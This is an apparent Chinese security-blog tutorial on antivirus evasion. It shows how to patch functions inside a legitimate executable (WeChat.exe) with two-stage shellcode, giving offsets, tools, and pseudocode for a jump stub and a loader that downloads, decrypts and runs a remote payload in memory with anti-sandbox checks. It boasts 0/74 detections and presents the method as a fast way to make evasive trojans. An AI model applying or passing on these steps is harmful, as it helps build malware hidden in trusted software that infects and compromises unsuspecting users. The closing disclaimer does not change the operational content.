前言
常驻在微信订阅号的我,翻到一篇文章:mp.weixin.qq.com/s/b0mphQG-nny0X087JsjsKQ,这篇文章简单介绍了通过手动 Patch PE 文件来实现 VT 全绿,看完后我又想起了曾经看到的另外一篇文章,实现的思路是类似的:mp.weixin.qq.com/s/nP0IqpGvGeWagmVsWtzC9Q,于是想着动手试一试,学习一下大佬们的思路,并记录下来,仅适用于 64 位的 exe。
实现思路
通过替换 exe 文件二进制函数代码,让程序启动时执行修改后的函数代码。
注意:程序初期运行的函数体一般不会很大,可能容不下 shellcode,像 CS、MSF
生成的 shellcode 具有不稳定性,甚至是无法上线,需要手动编写提取,尽量减少大小和特征,本文采用对 exe 文件进行两次 patch,例如:第一次 patch 程序函数体较小的A 函数,填充自定义 shellcode,且功能仅是跳转至另一个函数体较大的 B函数,第二次 patch 是将 B 函数替换为真正的上线 shellcode,即远程加载,这种方式提高了 patch 的成功率,当然也可以实现多层跳转,甚至是函数间传递参数,让 exe 为自己所用。
名词解释
PE 文件
Windows 的可执行文件的统称,常见的 PE 文件文件拓展名有 exe、dll、sys 等,当然以它们结尾的文件不一定是 PE 文件,还需要满足一定的文件格式,这里就不细说了,上网查阅资料即可。
VA
虚拟内存地址,即 PE 文件被操作系统加载进内存后的地址,也就是 PE 基址。
RVA
相对虚拟地址,即加载到内存中 PE 文件的数据相对于PE 基址的距离,例如假设一个 exe 文件加载后的虚拟地址为 0x10000,exe 在内存中的某块数据地址为0x13000,则可以说这块数据的 RVA 为 0x3000。
FOA
文件偏移地址,某块数据相对于文件头中位置。
前期准备
- 一个受害者 exe 文件(拿微信举例)
- IDA Pro (反编译)
- CFF Explorer(方便计算函数地址及偏移)
- 010 Editor (文件编辑器)
- Visual Studio 2022 C/C++开发环境(自定义 shellcode)
实现步骤
寻找合适的 exe 文件
- 大小合适,看需要
- 没有静态链接特定DLL 文件,即打开不会出现诸如此类的弹窗:"由于找不到 xxx.dll,无法继续执行代码。重新安装程序可能会解决此问题。"
- 64 位的 exe
寻找 Patch 点
以微信的 exe 为例,满足上述程序要求,程序名为 WeChat.exe
。先尝试运行一下,这里微信直接运行会弹窗,在没有 DLL 的情况下会提示(这种情况是缺少相应的动态链接的 DLL):
之后将其拖入 IDA
,找到 WinMain
函数,并使用 F5
查看伪代码:
断点并开启调试,目的是找到离程序退出最近的地方,断点后执行如果断住了说明程序运行时可以运行到这:
根据上面的操作,可以使用 IDA
的动态调试功能,逐一断点尝试,最终是选取了 sub_140001AE0
作为第一次 patch 的函数(其他的也可以,主要看程序启动能否调用到):
接下来寻找第二次 patch 的函数,也就是函数体较大且无需考虑是否由程序自身来调用,以 length
排序,最终选取 sub_140002C70
:
最终确定替换程序自身调用的函数 sub_140001AE0
,以及函数体较大的 sub_140002C70
,分别计算偏移,将程序拖入 CFF Exploere
,填入函数名后面的 VA,得出文件偏移:
函数 | VA | RVA | FOA |
---|---|---|---|
sub_140001AE0 | 140001AE0 | 00001AE0 | 00000EE0 |
sub_140002C70 | 140002C70 | 00002C70 | 00002070 |
编写 shellcode
Shellcode 开发起来有点麻烦,这里可以参考网上的一些教程及项目:
手把手教你编写自己的Shellcode - PART 1_哔哩哔哩_bilibili
CC++01.shellcode开发技术[游戏逆向/免杀技术/漏洞攻防/破解/反汇编/辅助开发]_哔哩哔哩_bilibili
Sec-Fork/ShellCodeFrames: 使用纯C/C++编写的ShellCode生成框架 (github.com)
第一段 shellcode 功能实现跳转,伪代码如下:
void goto_shellcode() { DWORD sub_140002C70_RVA = 0x2C70 // 获取当前exe加载至内存的基地址 DWORD64 exeBase = GetExeBase(); // 这里可以适当加点混淆代码,最终目的是跳转 // ...... // 转换为函数指针并调用,通过基址加上偏移地址即为目标函数的虚拟地址 ((void(*)(void))(exeBase + sub_140002C70_RVA))(); }
第二段 shellcode 功能需实现真正的上线,伪代码如下:
void start_shellcode() { // 这里也可以适当加一点混淆代码 // .....。 // 从远程下载url unsigned char payload = GetPayloadFromRemote(url); // 解密载荷 decrypt(payload, key); // 加载至内存中运行 run(payload); }
在编写 shellcode 的过程中,可以加入自己的简单的反沙箱代码(例如检测桌面文件数量等等正常终端具备的特征),但不能过于复杂,否则 shellcode 体积会变大,且可能会出现一些其他问题,因为调用 Windows API 需要动态获取,因此编写起来会比较麻烦。
替换函数体
假设 shellcode 已经编写完毕,使用 CFF Explorer
计算出来的 FOA,再用 010 Editor
进行替换,流程如下:
成果展示
VT(0/74):
微步(0/27):
上述沙箱效果是在 shellcode 里加入了简单的反沙箱,以及比较 low 的混淆,有兴趣的大佬可以下载分析一下,我对于样本分析还缺乏学习。
总结
在编写完 shellcode 后,剩下的就是寻找 exe 文件,合适的 exe 文件非常之多,他们自带大量的正常程序所拥有的代码,可以很好的规避杀软的静态查杀,如果再加上动态查杀的技术例如 syscall、白加黑等利用方式,或许是一种比较好的免杀方式。
优点:在编写完 shellcode 后,这种方式可以快速生成免杀马,作为冲锋马,且比较灵活,由于程序具备大量正常代码,比起普通加载器,杀软的特征库更新的没那么快。
缺点:需要手动编写 shellcode,比较繁琐,门槛较高,但编写的过程中也能更好地加强自己对于恶意软件的理解。
提问:这种类型的恶意软件会具备什么特征?杀软厂商该如何进行标记?
最后,引用大佬的话:做安全,免杀是一个永恒的话题,是一场猫捉老鼠的游戏。
本文所提供的信息仅供学习和研究网络安全技术之用途。读者在使用这些信息时应自行判断其适用性,并对其行为负全责。作者不对任何读者因使用本文中信息而导致的任何直接或间接损失负责。
转载须知:
如需转载本文,请务必保留本文末尾的免责声明,并标明文章出处为红细胞安全实验室,同时提供原文链接。未经许可,请勿对本文进行修改,以保持信息的完整性。
感谢各位师傅们的理解与支持。
本公众号不定期更新一些技术文章,还麻烦各位师傅们点点关注,这样才不会错过哦。